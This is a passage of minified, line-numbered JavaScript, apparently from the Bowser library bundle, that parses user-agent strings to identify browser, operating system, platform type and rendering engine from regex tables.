d(e) { 223 | return (d = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) { 224 | return typeof e 225 | } : function(e) { 226 | return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e 227 | })(e) 228 | } 229 | 230 | function c(e, t) { 231 | for (var r = 0; r < t.length; r++) { 232 | var n = t[r]; 233 | n.enumerable = n.enumerable || !1, n.configurable = !0, "value" in n && (n.writable = !0), Object.defineProperty(e, n.key, n) 234 | } 235 | } 236 | Object.defineProperty(r, "__esModule", { 237 | value: !0 238 | }), r.default = void 0, n = u(n), i = u(i), s = u(s), a = u(a), o = u(o); 239 | var f = function() { 240 | function e(t) { 241 | var r = arguments.length > 1 && void 0 !== arguments[1] && arguments[1]; 242 | if (function(e, t) { 243 | if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function") 244 | }(this, e), null == t || "" === t) throw new Error("UserAgent parameter can't be empty"); 245 | this._ua = t, this.parsedResult = {}, !0 !== r && this.parse() 246 | } 247 | return t = e, (r = [{ 248 | key: "getUA", 249 | value: function() { 250 | return this._ua 251 | } 252 | }, { 253 | key: "test", 254 | value: function(e) { 255 | return e.test(this._ua) 256 | } 257 | }, { 258 | key: "parseBrowser", 259 | value: function() { 260 | var e = this; 261 | this.parsedResult.browser = {}; 262 | var t = n.default.find(function(t) { 263 | if ("function" == typeof t.test) return t.test(e); 264 | if (t.test instanceof Array) return t.test.some(function(t) { 265 | return e.test(t) 266 | }); 267 | throw new Error("Browser's test function is not valid") 268 | }); 269 | return t && (this.parsedResult.browser = t.describe(this.getUA())), this.parsedResult.browser 270 | } 271 | }, { 272 | key: "getBrowser", 273 | value: function() { 274 | return this.parsedResult.browser ? this.parsedResult.browser : this.parseBrowser() 275 | } 276 | }, { 277 | key: "getBrowserName", 278 | value: function(e) { 279 | return e ? String(this.getBrowser().name).toLowerCase() || "" : this.getBrowser().name || "" 280 | } 281 | }, { 282 | key: "getBrowserVersion", 283 | value: function() { 284 | return this.getBrowser().version 285 | } 286 | }, { 287 | key: "getOS", 288 | value: function() { 289 | return this.parsedResult.os ? this.parsedResult.os : this.parseOS() 290 | } 291 | }, { 292 | key: "parseOS", 293 | value: function() { 294 | var e = this; 295 | this.parsedResult.os = {}; 296 | var t = i.default.find(function(t) { 297 | if ("function" == typeof t.test) return t.test(e); 298 | if (t.test instanceof Array) return t.test.some(function(t) { 299 | return e.test(t) 300 | }); 301 | throw new Error("Browser's test function is not valid") 302 | }); 303 | return t && (this.parsedResult.os = t.describe(this.getUA())), this.parsedResult.os 304 | } 305 | }, { 306 | key: "getOSName", 307 | value: function(e) { 308 | var t = this.getOS(), 309 | r = t.name; 310 | return e ? String(r).toLowerCase() || "" : r || "" 311 | } 312 | }, { 313 | key: "getOSVersion", 314 | value: function() { 315 | return this.getOS().version 316 | } 317 | }, { 318 | key: "getPlatform", 319 | value: function() { 320 | return this.parsedResult.platform ? this.parsedResult.platform : this.parsePlatform() 321 | } 322 | }, { 323 | key: "getPlatformType", 324 | value: function() { 325 | var e = arguments.length > 0 && void 0 !== arguments[0] && arguments[0], 326 | t = this.getPlatform(), 327 | r = t.type; 328 | return e ? String(r).toLowerCase() || "" : r || "" 329 | } 330 | }, { 331 | key: "parsePlatform", 332 | value: function() { 333 | var e = this; 334 | this.parsedResult.platform = {}; 335 | var t = s.default.find(function(t) { 336 | if ("function" == typeof t.test) return t.test(e); 337 | if (t.test instanceof Array) return t.test.some(function(t) { 338 | return e.test(t) 339 | }); 340 | throw new Error("Browser's test function is not valid") 341 | }); 342 | return t && (this.parsedResult.platform = t.describe(this.getUA())), this.parsedResult.platform 343 | } 344 | }, { 345 | key: "getEngine", 346 | value: function() { 347 | return this.parsedResult.engine ? this.parsedResult.engine : this.parseEngine() 348 | } 349 | }, { 350 | key: "getEngineName", 351 | value: function(e) { 352 | return e ? String(this.getEngine().name).toLowerCase() || "" : this.getEngine().name || "" 353 | } 354 | }, { 355 | key: "parseEngine", 356 | value: function() { 357 | var e = this; 358 | this.parsedResult.engine = {}; 359 | var t = a.default.find(function(t) { 360 | if ("function" == typeof t.test) return t.test(e); 361 | if (t.test instanceof Array) return t.test.some(function(t) { 362 | return e.test(t) 363 | }); 364 | throw new Error("Browser's test function is not valid") 365 | }); 366 | return t && (this.parsedResult.engine = t.describe(this.getUA())), this.parsedResult.engine 367 | } 368 | }, { 369 | key: "parse", 370 | value: function() { 371 | return this.parseBrowser(), this.parseOS(), this.parsePlatform(), this.parseEngine(), this 372 | } 373 | }, { 374 | key: "getResult", 375 | value: function() { 376 | return Object.assign({}, this.parsedResult) 377 | } 378 | }, { 379 | key: "satisfies", 380 | value: function(e) { 381 | var t = this, 382 | r = {}, 383 | n = 0, 384 | i = {}, 385 | s = 0, 386 | a = Object.keys(e); 387 | if (a.forEach(function(t) { 388 | var a = e[t]; 389 | "string" == typeof a ? (i[t] = a, s += 1) : "object" === d(a) && (r[t] = a, n += 1) 390 | }), n > 0) { 391 | var o = Object.keys(r), 392 | u = o.find(function(e) { 393 | return t.isOS(e) 394 | }); 395 | if (u) { 396 | var c = this.satisfies(r[u]); 397 | if (void 0 !== c) return c 398 | } 399 | var f = o.find(function(e) { 400 | return t.isPlatform(e) 401 | }); 402 | if (f) { 403 | var l = this.satisfies(r[f]); 404 | if (void 0 !== l) return l 405 | } 406 | } 407 | if (s > 0) { 408 | var v = Object.keys(i), 409 | p = v.find(function(e) { 410 | return t.isBrowser(e, !0) 411 | }); 412 | if (void 0 !== p) return this.compareVersion(i[p]) 413 | } 414 | } 415 | }, { 416 | key: "isBrowser", 417 | value: function(e) { 418 | var t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1], 419 | r = this.getBrowserName(), 420 | n = [r.toLowerCase()], 421 | i = o.default.getBrowserAlias(r); 422 | return t && void 0 !== i && n.push(i.toLowerCase()), -1 !== n.indexOf(e.toLowerCase()) 423 | } 424 | }, { 425 | key: "compareVersion", 426 | value: function(e) { 427 | var t = [0], 428 | r = e, 429 | n = !1, 430 | i = this.getBrowserVersion(); 431 | if ("string" == typeof i) return ">" === e[0] || "<" === e[0] ? (r = e.substr(1), "=" === e[1] ? (n = !0, r = e.substr(2)) : t = [], ">" === e[0] ? t.push(1) : t.push(-1)) : "=" === e[0] ? r = e.substr(1) : "~" === e[0] && (n = !0, r = e.substr(1)), t.indexOf(o.default.compareVersions(i, r, n)) > -1 432 | } 433 | }, { 434 | key: "isOS", 435 | value: function(e) { 436 | return this.getOSName(!0) === String(e).toLowerCase() 437 | } 438 | }, { 439 | key: "isPlatform", 440 | value: function(e) { 441 | return this.getPlatformType(!0) === String(e).toLowerCase() 442 | } 443 | }, { 444 | key: "isEngine", 445 | value: function(e) { 446 | return this.getEngineName(!0) === String(e).toLowerCase() 447 | } 448 | }, { 449 | key: "is", 450 | value: function(e) { 451 | return this.isBrowser(e) || this.isOS(e) || this.isPlatform(e) 452 | } 453 | }, { 454 | key: "some", 455 | value: function() { 456 | var e = this, 457 | t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : []; 458 | return t.some(function(t) { 459 | return e.is(t) 460 | }) 461 | } 462 | }]) && c(t.prototype, r), u && c(t, u), e; 463 | var t, r, u 464 | }(); 465 | r.default = f, e.exports = t.default 466 | }) ? n.apply(t, i) : n) || (e.exports = s) 467 | }, 468 | 88: function(e, t, r) { 469 | var n, i, s; 470 | i = [t, r(17)], void 0 === (s = "function" == typeof(n = function(r, n) { 471 | "use strict"; 472 | var i; 473 | Object.defineProperty(r, "__esModule", { 474 | value: !0 475 | }), r.default = void 0, n = (i = n) && i.__esModule ? i : { 476 | default: i 477 | }; 478 | var s = /version\/(\d+(\.?_?\d+)+)/i, 479 | a = [{ 480 | test: [/googlebot/i], 481 | describe: function(e) { 482 | var t = { 483 | name: "Googlebot" 484 | }, 485 | r = n.default.getFirstMatch(/googlebot\/(\d+(\.\d+))/i, e) || n.default.getFirstMatch(s, e); 486 | return r && (t.version = r), t 487 | } 488 | }, { 489 | test: [/opera/i], 490 | describe: function(e) { 491 | var t = { 492 | name: "Opera" 493 | }, 494 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:opera)[\s\/](\d+(\.?_?\d+)+)/i, e); 495 | return r && (t.version = r), t 496 | } 497 | }, { 498 | test: [/opr\/|opios/i], 499 | describe: function(e) { 500 | var t = { 501 | name: "Opera" 502 | }, 503 | r = n.default.getFirstMatch(/(?:opr|opios)[\s\/](\S+)/i, e) || n.default.getFirstMatch(s, e); 504 | return r && (t.version = r), t 505 | } 506 | }, { 507 | test: [/SamsungBrowser/i], 508 | describe: function(e) { 509 | var t = { 510 | name: "Samsung Internet for Android" 511 | }, 512 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:SamsungBrowser)[\s\/](\d+(\.?_?\d+)+)/i, e); 513 | return r && (t.version = r), t 514 | } 515 | }, { 516 | test: [/Whale/i], 517 | describe: function(e) { 518 | var t = { 519 | name: "NAVER Whale Browser" 520 | }, 521 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:whale)[\s\/](\d+(?:\.\d+)+)/i, e); 522 | return r && (t.version = r), t 523 | } 524 | }, { 525 | test: [/MZBrowser/i], 526 | describe: function(e) { 527 | var t = { 528 | name: "MZ Browser" 529 | }, 530 | r = n.default.getFirstMatch(/(?:MZBrowser)[\s\/](\d+(?:\.\d+)+)/i, e) || n.default.getFirstMatch(s, e); 531 | return r && (t.version = r), t 532 | } 533 | }, { 534 | test: [/focus/i], 535 | describe: function(e) { 536 | var t = { 537 | name: "Focus" 538 | }, 539 | r = n.default.getFirstMatch(/(?:focus)[\s\/](\d+(?:\.\d+)+)/i, e) || n.default.getFirstMatch(s, e); 540 | return r && (t.version = r), t 541 | } 542 | }, { 543 | test: [/swing/i], 544 | describe: function(e) { 545 | var t = { 546 | name: "Swing" 547 | }, 548 | r = n.default.getFirstMatch(/(?:swing)[\s\/](\d+(?:\.\d+)+)/i, e) || n.default.getFirstMatch(s, e); 549 | return r && (t.version = r), t 550 | } 551 | }, { 552 | test: [/coast/i], 553 | describe: function(e) { 554 | var t = { 555 | name: "Opera Coast" 556 | }, 557 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:coast)[\s\/](\d+(\.?_?\d+)+)/i, e); 558 | return r && (t.version = r), t 559 | } 560 | }, { 561 | test: [/yabrowser/i], 562 | describe: function(e) { 563 | var t = { 564 | name: "Yandex Browser" 565 | }, 566 | r = n.default.getFirstMatch(/(?:yabrowser)[\s\/](\d+(\.?_?\d+)+)/i, e) || n.default.getFirstMatch(s, e); 567 | return r && (t.version = r), t 568 | } 569 | }, { 570 | test: [/ucbrowser/i], 571 | describe: function(e) { 572 | var t = { 573 | name: "UC Browser" 574 | }, 575 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:ucbrowser)[\s\/](\d+(\.?_?\d+)+)/i, e); 576 | return r && (t.version = r), t 577 | } 578 | }, { 579 | test: [/Maxthon|mxios/i], 580 | describe: function(e) { 581 | var t = { 582 | name: "Maxthon" 583 | }, 584 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:Maxthon|mxios)[\s\/](\d+(\.?_?\d+)+)/i, e); 585 | return r && (t.version = r), t 586 | } 587 | }, { 588 | test: [/epiphany/i], 589 | describe: function(e) { 590 | var t = { 591 | name: "Epiphany" 592 | }, 593 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:epiphany)[\s\/](\d+(\.?_?\d+)+)/i, e); 594 | return r && (t.version = r), t 595 | } 596 | }, { 597 | test: [/puffin/i], 598 | describe: function(e) { 599 | var t = { 600 | name: "Puffin" 601 | }, 602 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:puffin)[\s\/](\d+(\.?_?\d+)+)/i, e); 603 | return r && (t.version = r), t 604 | } 605 | }, { 606 | test: [/sleipnir/i], 607 | describe: function(e) { 608 | var t = { 609 | name: "Sleipnir" 610 | }, 611 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:sleipnir)[\s\/](\d+(\.?_?\d+)+)/i, e); 612 | return r && (t.version = r), t 613 | } 614 | }, { 615 | test: [/k-meleon/i], 616 | describe: function(e) { 617 | var t = { 618 | name: "K-Meleon" 619 | }, 620 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/(?:k-meleon)[\s\/](\d+(\.?_?\d+)+)/i, e); 621 | return r && (t.version = r), t 622 | } 623 | }, { 624 | test: [/micromessenger/i], 625 | describe: function(e) { 626 | var t = { 627 | name: "WeChat" 628 | }, 629 | r = n.default.getFirstMatch(/(?:micromessenger)[\s\/](\d+(\.?_?\d+)+)/i, e) || n.default.getFirstMatch(s, e); 630 | return r && (t.version = r), t 631 | } 632 | }, { 633 | test: [/msie|trident/i], 634 | describe: function(e) { 635 | var t = { 636 | name: "Internet Explorer" 637 | }, 638 | r = n.default.getFirstMatch(/(?:msie |rv:)(\d+(\.?_?\d+)+)/i, e); 639 | return r && (t.version = r), t 640 | } 641 | }, { 642 | test: [/\sedg\//i], 643 | describe: function(e) { 644 | var t = { 645 | name: "Microsoft Edge" 646 | }, 647 | r = n.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i, e); 648 | return r && (t.version = r), t 649 | } 650 | }, { 651 | test: [/edg([ea]|ios)/i], 652 | describe: function(e) { 653 | var t = { 654 | name: "Microsoft Edge" 655 | }, 656 | r = n.default.getSecondMatch(/edg([ea]|ios)\/(\d+(\.?_?\d+)+)/i, e); 657 | return r && (t.version = r), t 658 | } 659 | }, { 660 | test: [/vivaldi/i], 661 | describe: function(e) { 662 | var t = { 663 | name: "Vivaldi" 664 | }, 665 | r = n.default.getFirstMatch(/vivaldi\/(\d+(\.?_?\d+)+)/i, e); 666 | return r && (t.version = r), t 667 | } 668 | }, { 669 | test: [/seamonkey/i], 670 | describe: function(e) { 671 | var t = { 672 | name: "SeaMonkey" 673 | }, 674 | r = n.default.getFirstMatch(/seamonkey\/(\d+(\.?_?\d+)+)/i, e); 675 | return r && (t.version = r), t 676 | } 677 | }, { 678 | test: [/sailfish/i], 679 | describe: function(e) { 680 | var t = { 681 | name: "Sailfish" 682 | }, 683 | r = n.default.getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i, e); 684 | return r && (t.version = r), t 685 | } 686 | }, { 687 | test: [/silk/i], 688 | describe: function(e) { 689 | var t = { 690 | name: "Amazon Silk" 691 | }, 692 | r = n.default.getFirstMatch(/silk\/(\d+(\.?_?\d+)+)/i, e); 693 | return r && (t.version = r), t 694 | } 695 | }, { 696 | test: [/phantom/i], 697 | describe: function(e) { 698 | var t = { 699 | name: "PhantomJS" 700 | }, 701 | r = n.default.getFirstMatch(/phantomjs\/(\d+(\.?_?\d+)+)/i, e); 702 | return r && (t.version = r), t 703 | } 704 | }, { 705 | test: [/slimerjs/i], 706 | describe: function(e) { 707 | var t = { 708 | name: "SlimerJS" 709 | }, 710 | r = n.default.getFirstMatch(/slimerjs\/(\d+(\.?_?\d+)+)/i, e); 711 | return r && (t.version = r), t 712 | } 713 | }, { 714 | test: [/blackberry|\bbb\d+/i, /rim\stablet/i], 715 | describe: function(e) { 716 | var t = { 717 | name: "BlackBerry" 718 | }, 719 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/blackberry[\d]+\/(\d+(\.?_?\d+)+)/i, e); 720 | return r && (t.version = r), t 721 | } 722 | }, { 723 | test: [/(web|hpw)[o0]s/i], 724 | describe: function(e) { 725 | var t = { 726 | name: "WebOS Browser" 727 | }, 728 | r = n.default.getFirstMatch(s, e) || n.default.getFirstMatch(/w(?:eb)?[o0]sbrowser\/(\d+(\.?_?\d+)+)/i, e); 729 | return r && (t.version = r), t 730 | } 731 | }, { 732 | test: [/bada/i], 733 | describe: function(e) { 734 | var t = { 735 | name: "Bada" 736 | }, 737 | r = n.default.getFirstMatch(/dolfin\/(\d+(\.?_?\d+)+)/i, e); 738 | return r && (t.version = r), t 739 | } 740 | }, { 741 | test: [/tizen/i], 742 | describe: function(e) { 743 | var t = { 744 | name: "Tizen" 745 | }, 746 | r = n.default.getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.?_?\d+)+)/i, e) || n.default.getFirstMatch(s, e); 747 | return r && (t.version = r), t 748 | } 749 | }, { 750 | test: [/qupzilla/i], 751 | describe: function(e) { 752 | var t = { 753 | name: "QupZilla" 754 | }, 755 | r = n.default.getFirstMatch(/(?:qupzilla)[\s\/](\d+(\.?_?\d+)+)/i, e) || n.default.getFirstMatch(s, e); 756 | return r && (t.version = r), t 757 | } 758 | }, { 759 | test: [/firefox|iceweasel|fxios/i], 760 | describe: function(e) { 761 | var t = { 762 | name: "Firefox" 763 | }, 764 | r = n.default.getFirstMatch(/(?:firefox|iceweasel|fxios)[\s\/](\d+(\.?_?\d+)+)/i, e); 765 | return r && (t.version = r), t 766 | } 767 | }, { 768 | test: [/chromium/i], 769 | describe: function(e) { 770 | var t = { 771 | name: "Chromium" 772 | }, 773 | r = n.default.getFirstMatch(/(?:chromium)[\s\/](\d+(\.?_?\d+)+)/i, e) || n.default.getFirstMatch(s, e); 774 | return r && (t.version = r), t 775 | } 776 | }, { 777 | test: [/chrome|crios|crmo/i], 778 | describe: function(e) { 779 | var t = { 780 | name: "Chrome" 781 | }, 782 | r = n.default.getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.?_?\d+)+)/i, e); 783 | return r && (t.version = r), t 784 | } 785 | }, { 786 | test: function(e) { 787 | var t = !e.test(/like android/i), 788 | r = e.test(/android/i); 789 | return t && r 790 | }, 791 | describe: function(e) { 792 | var t = { 793 | name: "Android Browser" 794 | }, 795 | r = n.default.getFirstMatch(s, e); 796 | return r && (t.version = r), t 797 | } 798 | }, { 799 | test: [/playstation 4/i], 800 | describe: function(e) { 801 | var t = { 802 | name: "PlayStation 4" 803 | }, 804 | r = n.default.getFirstMatch(s, e); 805 | return r && (t.version = r), t 806 | } 807 | }, { 808 | test: [/safari|applewebkit/i], 809 | describe: function(e) { 810 | var t = { 811 | name: "Safari" 812 | }, 813 | r = n.default.getFirstMatch(s, e); 814 | return r && (t.version = r), t 815 | } 816 | }, { 817 | test: [/.*/i], 818 | describe: function(e) { 819 | var t = -1 !== e.search("\\("), 820 | r = t ? /^(.*)\/(.*)[ \t]\((.*)/ : /^(.*)\/(.*) /; 821 | return { 822 | name: n.default.getFirstMatch(r, e), 823 | version: n.default.getSecondMatch(r, e) 824 | } 825 | } 826 | }]; 827 | r.default = a, e.exports = t.default 828 | }) ? n.apply(t, i) : n) || (e.exports = s) 829 | }, 830 | 89: function(e, t, r) { 831 | var n, i, s; 832 | i = [t], void 0 === (s = "function" == typeof(n = function(e) { 833 | "use strict"; 834 | Object.defineProperty(e, "__esModule", { 835 | value: !0 836 | }), e.BROWSER_ALIASES_MAP = void 0, e.BROWSER_ALIASES_MAP = { 837 | "Amazon Silk": "amazon_silk", 838 | "Android Browser": "android", 839 | Bada: "bada", 840 | BlackBerry: "blackberry", 841 | Chrome: "chrome", 842 | Chromium: "chromium", 843 | Epiphany: "epiphany", 844 | Firefox: "firefox", 845 | Focus: "focus", 846 | Generic: "generic", 847 | Googlebot: "googlebot", 848 | "Internet Explorer": "ie", 849 | "K-Meleon": "k_meleon", 850 | Maxthon: "maxthon", 851 | "Microsoft Edge": "edge", 852 | "MZ Browser": "mz", 853 | "NAVER Whale Browser": "naver", 854 | Opera: "opera", 855 | "Opera Coast": "opera_coast", 856 | PhantomJS: "phantomjs", 857 | Puffin: "puffin", 858 | QupZilla: "qupzilla", 859 | Safari: "safari", 860 | Sailfish: "sailfish", 861 | "Samsung Internet for Android": "samsung_internet", 862 | SeaMonkey: "seamonkey", 863 | Sleipnir: "sleipnir", 864 | Swing: "swing", 865 | Tizen: "tizen", 866 | "UC Browser": "uc", 867 | Vivaldi: "vivaldi", 868 | "WebOS Browser": "webos", 869 | WeChat: "wechat", 870 | "Yandex Browser": "yandex" 871 | } 872 | }) ? n.apply(t, i) : n) || (e.exports = s) 873 | }, 874 | 90: function(e, t, r) { 875 | var n, i, s; 876 | i = [t, r(17)], void 0 === (s = "function" == typeof(n = function(r, n) { 877 | "use strict"; 878 | var i; 879 | Object.defineProperty(r, "__esModule", { 880 | value: !0 881 | }), r.default = void 0, n = (i = n) && i.__esModule ? i : { 882 | default: i 883 | }; 884 | var s = [{ 885 | test: [/windows phone/i], 886 | describe: function(e) { 887 | var t = n.default.getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i, e); 888 | return { 889 | name: "Windows Phone", 890 | version: t 891 | } 892 | } 893 | }, { 894 | test: [/windows/i], 895 | describe: function(e) { 896 | var t = n.default.getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i, e), 897 | r = n.default.getWindowsVersionName(t); 898 | return { 899 | name: "Windows", 900 | version: t, 901 | versionName: r 902 | } 903 | } 904 | }, { 905 | test: [/macintosh/i], 906 | describe: function(e) { 907 | var t = n.default.getFirstMatch(/mac os x (\d+(\.?_?\d+)+)/i, e).replace(/[_\s]/g, "."); 908 | return { 909 | name: "macOS", 910 | version: t 911 | } 912 | } 913 | }, { 914 | test: [/(ipod|iphone|ipad)/i], 915 | describe: function(e) { 916 | var t = n.default.getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i, e).replace(/[_\s]/g, "."); 917 | return { 918 | name: "iOS", 919 | version: t 920 | } 921 | } 922 | }, { 923 | test: function(e) { 924 | var t = !e.test(/like android/i), 925 | r = e.test(/android/i); 926 | return t && r 927 | }, 928 | describe: function(e) { 929 | var t = n.default.getFirstMatch(/android[\s\/-](\d+(\.\d+)*)/i, e), 930 | r = n.default.getAndroidVersionName(t), 931 | i = { 932 | name: "Android", 933 | version: t 934 | }; 935 | return r && (i.versionName = r), i 936 | } 937 | }, { 938 | test: [/(web|hpw)[o0]s/i], 939 | describe: function(e) { 940 | var t = n.default.getFirstMatch(/(?:web|hpw)[o0]s\/(\d+(\.\d+)*)/i, e), 941 | r = { 942 | name: "WebOS" 943 | }; 944 | return t && t.length && (r.version = t), r 945 | } 946 | }, { 947 | test: [/blackberry|\bbb\d+/i, /rim\stablet/i], 948 | describe: function(e) { 949 | var t = n.default.getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i, e) || n.default.getFirstMatch(/blackberry\d+\/(\d+([_\s]\d+)*)/i, e) || n.default.getFirstMatch(/\bbb(\d+)/i, e); 950 | return { 951 | name: "BlackBerry", 952 | version: t 953 | } 954 | } 955 | }, { 956 | test: [/bada/i], 957 | describe: function(e) { 958 | var t = n.default.getFirstMatch(/bada\/(\d+(\.\d+)*)/i, e); 959 | return { 960 | name: "Bada", 961 | version: t 962 | } 963 | } 964 | }, { 965 | test: [/tizen/i], 966 | describe: function(e) { 967 | var t = n.default.getFirstMatch(/tizen[\/\s](\d+(\.\d+)*)/i, e); 968 | return { 969 | name: "Tizen", 970 | version: t 971 | } 972 | } 973 | }, { 974 | test: [/linux/i], 975 | describe: function() { 976 | return { 977 | name: "Linux" 978 | } 979 | } 980 | }, { 981 | test: [/CrOS/], 982 | describe: function() { 983 | return { 984 | name: "Chrome OS" 985 | } 986 | } 987 | }, { 988 | test: [/PlayStation 4/], 989 | describe: function(e) { 990 | var t = n.default.getFirstMatch(/PlayStation 4[\/\s](\d+(\.\d+)*)/i, e); 991 | return { 992 | name: "PlayStation 4", 993 | version: t 994 | } 995 | } 996 | }]; 997 | r.default = s, e.exports = t.default 998 | }) ? n.apply(t, i) : n) || (e.exports = s) 999 | }, 1000 | 91: function(e, t, r) { 1001 | var n, i, s; 1002 | i = [t, r(17)], void 0 === (s = "function" == typeof(n = function(r, n) { 1003 | "use strict"; 1004 | var i; 1005 | Object.defineProperty(r, "__esModule", { 1006 | value: !0 1007 | }), r.default = void 0, n = (i = n) && i.__esModule ? i : { 1008 | default: i 1009 | }; 1010 | var s = { 1011 | tablet: "tablet", 1012 | mobile: "mobile", 1013 | desktop: "desktop", 1014 | tv: "tv" 1015 | }, 1016 | a = [{ 1017 | test: [/googlebot/i], 1018 | describe: function() { 1019 | return { 1020 | type: "bot", 1021 | vendor: "Google" 1022 | } 1023 | } 1024 | }, { 1025 | test: [/huawei/i], 1026 | describe: function(e) { 1027 | var t = n.default.getFirstMatch(/(can-l01)/i, e) && "Nova", 1028 | r = { 1029 | type: s.mobile, 1030 | vendor: "Huawei" 1031 | }; 1032 | return t && (r.model = t), r 1033 | } 1034 | }, { 1035 | test: [/nexus\s*(?:7|8|9|10).*/i], 1036 | describe: function() { 1037 | return { 1038 | type: s.tablet, 1039 | vendor: "Nexus" 1040 | } 1041 | } 1042 | }, { 1043 | test: [/ipad/i], 1044 | describe: function() { 1045 | return { 1046 | type: s.tablet, 1047 | vendor: "Apple", 1048 | model: "iPad" 1049 | } 1050 | } 1051 | }, { 1052 | test: [/kftt build/i], 1053 | describe: function() { 1054 | return { 1055 | type: s.tablet, 1056 | vendor: "Amazon", 1057 | model: "Kindle Fire HD 7" 1058 | } 1059 | } 1060 | }, { 1061 | test: [/silk/i], 1062 | describe: function() { 1063 | return { 1064 | type: s.tablet, 1065 | vendor: "Amazon" 1066 | } 1067 | } 1068 | }, { 1069 | test: [/tablet/i], 1070 | describe: function() { 1071 | return { 1072 | type: s.tablet 1073 | } 1074 | } 1075 | }, { 1076 | test: function(e) { 1077 | var t = e.test(/ipod|iphone/i), 1078 | r = e.test(/like (ipod|iphone)/i); 1079 | return t && !r 1080 | }, 1081 | describe: function(e) { 1082 | var t = n.default.getFirstMatch(/(ipod|iphone)/i, e); 1083 | return { 1084 | type: s.mobile, 1085 | vendor: "Apple", 1086 | model: t 1087 | } 1088 | } 1089 | }, { 1090 | test: [/nexus\s*[0-6].*/i, /galaxy nexus/i], 1091 | describe: function() { 1092 | return { 1093 | type: s.mobile, 1094 | vendor: "Nexus" 1095 | } 1096 | } 1097 | }, { 1098 | test: [/[^-]mobi/i], 1099 | describe: function() { 1100 | return { 1101 | type: s.mobile 1102 | } 1103 | } 1104 | }, { 1105 | test: function(e) { 1106 | return "blackberry" === e.getBrowserName(!0) 1107 | }, 1108 | describe: function() { 1109 | return { 1110 | type: s.mobile, 1111 | vendor: "BlackBerry" 1112 | } 1113 | } 1114 | }, { 1115 | test: function(e) { 1116 | return "bada" === e.getBrowserName(!0) 1117 | }, 1118 | describe: function() { 1119 | return { 1120 | type: s.mobile 1121 | } 1122 | } 1123 | }, { 1124 | test: function(e) { 1125 | return "windows phone" === e.getBrowserName() 1126 | }, 1127 | describe: function() { 1128 | return { 1129 | type: s.mobile, 1130 | vendor: "Microsoft" 1131 | } 1132 | } 1133 | }, { 1134 | test: function(e) { 1135 | var t = Number(String(e.getOSVersion()).split(".")[0]); 1136 | return "android" === e.getOSName(!0) && t >= 3 1137 | }, 1138 | describe: function() { 1139 | return { 1140 | type: s.tablet 1141 | } 1142 | } 1143 | }, { 1144 | test: function(e) { 1145 | return "android" === e.getOSName(!0) 1146 | }, 1147 | describe: function() { 1148 | return { 1149 | type: s.mobile 1150 | } 1151 | } 1152 | }, { 1153 | test: function(e) { 1154 | return "macos" === e.getOSName(!0) 1155 | }, 1156 | describe: function() { 1157 | return { 1158 | type: s.desktop, 1159 | vendor: "Apple" 1160 | } 1161 | } 1162 | }, { 1163 | test: function(e) { 1164 | return "windows" === e.getOSName(!0) 1165 | }, 1166 | describe: function() { 1167 | return { 1168 | type: s.desktop 1169 | } 1170 | } 1171 | }, { 1172 | test: function(e) { 1173 | return "linux" === e.getOSName(!0) 1174 | }, 1175 | describe: function() { 1176 | return { 1177 | type: s.desktop 1178 | } 1179 | } 1180 | }, { 1181 | test: function(e) { 1182 | return "playstation 4" === e.getOSName(!0) 1183 | }, 1184 | describe: function() { 1185 | return { 1186 | type: s.tv 1187 | } 1188 | } 1189 | }]; 1190 | r.default = a, e.exports = t.default 1191 | }) ? n.apply(t, i) : n) || (e.exports = s) 1192 | }, 1193 | 92: function(e, t, r) { 1194 | var n, i, s; 1195 | i = [t, r(17)], void 0 === (s = "function" == typeof(n = function(r, n) { 1196 | "use strict"; 1197 | var i; 1198 | Object.defineProperty(r, "__esModule", { 1199 | value: !0 1200 | }), r.default = void 0, n = (i = n) && i.__esModule ? i : { 1201 | default: i 1202 | }; 1203 | var s = [{ 1204 | test: function(e) { 1205 | return "microsoft edge" === e.getBrowserName(!0) 1206 | }, 1207 | describe: function(e) { 1208 | var t = /\sedg\//i.test(e); 1209 | if (t) return { 1210 | name: "Blink" 1211 | }; 1212 | var r = n.default.getFirstMatch(/edge\/(\d+(\.?_?\d+)+)/i, e); 1213 | return { 1214 | name: "EdgeHTML", 1215 | version: r 1216 | } 1217 | } 1218 | }, { 1219 | test: [/trident/i], 1220 | describe: function(e) { 1221 | var t = { 1222 | name: "Trident" 1223 | }, 1224 | r = n.default.getFirstMatch(/trident\/(\d+(\.?_?\d+)+)/i, e); 1225 | return r && (t.version = r), t 1226 | } 1227 | }, { 1228 | test: function(e) { 1229 | return e.test(/presto/i) 1230 | }, 1231 | describe: function(e) { 1232 | var t = { 1233 | name: "Presto" 1234 | }, 1235 | r = n.default.getFirstMatch(/presto\/(\d+(\.?_?\d+)+)/i, e); 1236 | return r && (t.version = r), t 1237 | } 1238 | }, { 1239 | test: function(e) { 1240 | var t = e.test(/gecko/i), 1241 | r = e.test(/like gecko/i); 1242 | return t && !r 1243 | }, 1244 | describe: function(e) { 1245 | var t = { 1246 | name: "Gecko" 1247 | }, 1248 | r = n.default.getFirstMatch(/gecko\/(\d+(\.?_?\d+)+)/i, e); 1249 | return r && (t.version = r), t 1250 | } 1251 | }, { 1252 | 